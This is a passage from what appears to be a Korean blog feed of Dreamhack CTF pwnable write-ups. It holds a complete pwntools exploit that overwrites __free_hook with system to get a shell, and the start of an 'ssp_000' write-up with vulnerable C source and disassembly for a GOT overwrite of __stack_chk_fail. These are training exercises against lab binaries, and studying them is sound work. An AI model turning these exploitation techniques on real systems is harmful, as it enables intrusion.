<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;to : &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span>
</span></span></code></pre></div><p>최종 익스플로잇 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#c = remote(&#34;host3.dreamhack.games&#34;, 19538)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./santa_coming_to_town&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/lib/x86_64-linux-gnu/libc.so.6&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">25</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;? : &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;) : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;10000&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;~~~~~~~~~~contents~~~~~~~~~~</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;/bin/sh</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\r</span><span class="s2">for : &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#print(&#34;for : &#34;+ str(i))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;24&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Pages : &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">))[</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">3</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;leak : &#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">offset</span> <span class="o">=</span> <span class="mh">0x1DFFF0</span>
</span></span><span class="line"><span class="cl"><span class="n">libcAddr</span> <span class="o">=</span> <span class="n">leak</span><span class="o">+</span><span class="n">offset</span>
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libcAddr</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;libc addr : &#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">libcAddr</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;system addr : &#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1">#pause()</span>
</span></span><span class="line"><span class="cl"><span class="c1">#프리훅 오버라이트, 원샷 가젯</span>
</span></span><span class="line"><span class="cl"><span class="n">freeHookOffset</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s2">&#34;__free_hook&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">freeHook</span> <span class="o">=</span> <span class="n">libcAddr</span> <span class="o">+</span> <span class="n">freeHookOffset</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;__free_hook address : &#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">freeHook</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">heapToFreehook</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((</span><span class="nb">int</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">freeHook</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span><span class="o">-</span><span class="n">leak</span><span class="p">)</span><span class="o">/</span><span class="mh">0x10</span><span class="p">)</span><span class="o">+</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;heapToFreehook :&#34;</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">heapToFreehook</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;it? : &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;24&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;edit : &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">heapToFreehook</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;to : &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;system addr : &#34;</span><span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="o">*</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN ssp_000</title><link>https://dig06161.github.io/2022/12/21/dreamhack-pwn-ssp_000/</link><pubDate>Wed, 21 Dec 2022 09:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/12/21/dreamhack-pwn-ssp_000/</guid><description>드림핵 포너블 ssp_000 문제풀이</description><content:encoded><![CDATA[<p>이번 ssp_000문제는 카나리에 대한 문제다. 메모리 스텍의 오염을 인식하고 오염되었을 경우 바이너리를 강제 종료시키는 기능을 한다. 스텍 사이에 랜덤의 값을 넣고 이를 검사해 스텍이 오버플로우 되었는지 확인한다. 이렇게 메모리 커럽션을 어렵게 하는 기법을 Stack Smashing Protector(SSP)라고 한다.</p>
<p>우선 먼저 코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">alarm</span><span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">long</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">long</span> <span class="n">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x40</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x80</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Addr : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Value : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">addr</span> <span class="o">=</span> <span class="n">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>함수로 쉘이 함수로 있고 main함수는 간단한 버퍼 오버플로우를 일으킬 수 있다. 다만 실행시킨 바이너리의 카나리 값을 릭할 방법이 마땅치 않는다. 이 경우는 조금 생각을 해볼 필요가 있다. 만약 스텍을 오염시키면 __stack_chk_fail 함수가 실행되면서 종료가 될것이다.</p>
<p>다만 main함수를 보면 원하는 위치에 값을 바꿔쓸수 있는것을 볼수 있다. 이를 이용해 스텍이 오버플로우 되었을때 동작할 함수를 __stack_chk_fail가 아닌 get_shell함수로 바꿔주면 쉘을 얻을 수 있을 것이다.</p>
<p>우선 main함수의 어셈블리를 확인해보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">   <span class="mh">0x00000000004008fb</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rbp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008fc</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ff</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0x70</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400903</span> <span class="o">&lt;+</span><span class="mi">8</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x64</span><span class="p">],</span><span class="n">edi</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400906</span> <span class="o">&lt;+</span><span class="mi">11</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x70</span><span class="p">],</span><span class="n">rsi</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040090a</span> <span class="o">&lt;+</span><span class="mi">15</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="nl">fs</span><span class="p">:</span><span class="mh">0x28</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400913</span> <span class="o">&lt;+</span><span class="mi">24</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400917</span> <span class="o">&lt;+</span><span class="mi">28</span><span class="o">&gt;:</span>    <span class="n">xor</span>    <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400919</span> <span class="o">&lt;+</span><span class="mi">30</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rdx</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x50</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040091d</span> <span class="o">&lt;+</span><span class="mi">34</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400922</span> <span class="o">&lt;+</span><span class="mi">39</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">ecx</span><span class="p">,</span><span class="mh">0x8</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400927</span> <span class="o">&lt;+</span><span class="mi">44</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040092a</span> <span class="o">&lt;+</span><span class="mi">47</span><span class="o">&gt;:</span>    <span class="n">rep</span> <span class="n">stos</span> <span class="n">QWORD</span> <span class="n">PTR</span> <span class="nl">es</span><span class="p">:[</span><span class="n">rdi</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040092d</span> <span class="o">&lt;+</span><span class="mi">50</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400932</span> <span class="o">&lt;+</span><span class="mi">55</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x40088e</span> <span class="o">&lt;</span><span class="n">initialize</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400937</span> <span class="o">&lt;+</span><span class="mi">60</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x50</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040093b</span> <span class="o">&lt;+</span><span class="mi">64</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x80</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400940</span> <span class="o">&lt;+</span><span class="mi">69</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400943</span> <span class="o">&lt;+</span><span class="mi">72</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400948</span> <span class="o">&lt;+</span><span class="mi">77</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x400710</span> <span class="o">&lt;</span><span class="n">read</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040094d</span> <span class="o">&lt;+</span><span class="mi">82</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a55</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400952</span> <span class="o">&lt;+</span><span class="mi">87</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400957</span> <span class="o">&lt;+</span><span class="mi">92</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x4006f0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040095c</span> <span class="o">&lt;+</span><span class="mi">97</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x60</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400960</span> <span class="o">&lt;+</span><span class="mi">101</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400963</span> <span class="o">&lt;+</span><span class="mi">104</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a5d</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400968</span> <span class="o">&lt;+</span><span class="mi">109</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040096d</span> <span class="o">&lt;+</span><span class="mi">114</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x400750</span> <span class="o">&lt;</span><span class="n">__isoc99_scanf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400972</span> <span class="o">&lt;+</span><span class="mi">119</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a61</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400977</span> <span class="o">&lt;+</span><span class="mi">124</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040097c</span> <span class="o">&lt;+</span><span class="mi">129</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x4006f0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400981</span> <span class="o">&lt;+</span><span class="mi">134</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x58</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400985</span> <span class="o">&lt;+</span><span class="mi">138</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400988</span> <span class="o">&lt;+</span><span class="mi">141</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a5d</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040098d</span> <span class="o">&lt;+</span><span class="mi">146</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400992</span> <span class="o">&lt;+</span><span class="mi">151</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x400750</span> <span class="o">&lt;</span><span class="n">__isoc99_scanf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400997</span> <span class="o">&lt;+</span><span class="mi">156</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x60</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040099b</span> <span class="o">&lt;+</span><span class="mi">160</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040099e</span> <span class="o">&lt;+</span><span class="mi">163</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x58</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009a2</span> <span class="o">&lt;+</span><span class="mi">167</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rdx</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009a5</span> <span class="o">&lt;+</span><span class="mi">170</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009aa</span> <span class="o">&lt;+</span><span class="mi">175</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rcx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009ae</span> <span class="o">&lt;+</span><span class="mi">179</span><span class="o">&gt;:</span>   <span class="n">xor</span>    <span class="n">rcx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="nl">fs</span><span class="p">:</span><span class="mh">0x28</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009b7</span> <span class="o">&lt;+</span><span class="mi">188</span><span class="o">&gt;:</span>   <span class="n">je</span>     <span class="mh">0x4009be</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">195</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009b9</span> <span class="o">&lt;+</span><span class="mi">190</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x4006d0</span> <span class="o">&lt;</span><span class="n">__stack_chk_fail</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009be</span> <span class="o">&lt;+</span><span class="mi">195</span><span class="o">&gt;:</span>   <span class="n">leave</span>  
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004009bf</span> <span class="o">&lt;+</span><span class="mi">196</span><span class="o">&gt;:</span>   <span class="n">ret</span>
</span></span></code></pre></div><p>우리가 해당 바이너리를 익스하기 위해 필요한 것은 두가지다. get_shell 함수의 주소와 __stack_chk_fail 함수의 got 주소이다. 이것들 모두 쉽게 확인할 수 있다. __stack_chk_fail의 got는 해당 함수 plt의 주소를 disass 하면 확인할 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disass</span> <span class="n">get_shell</span>
</span></span><span class="line"><span class="cl"><span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="nl">get_shell</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ea</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rbp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008eb</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ee</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x400a4d</span>
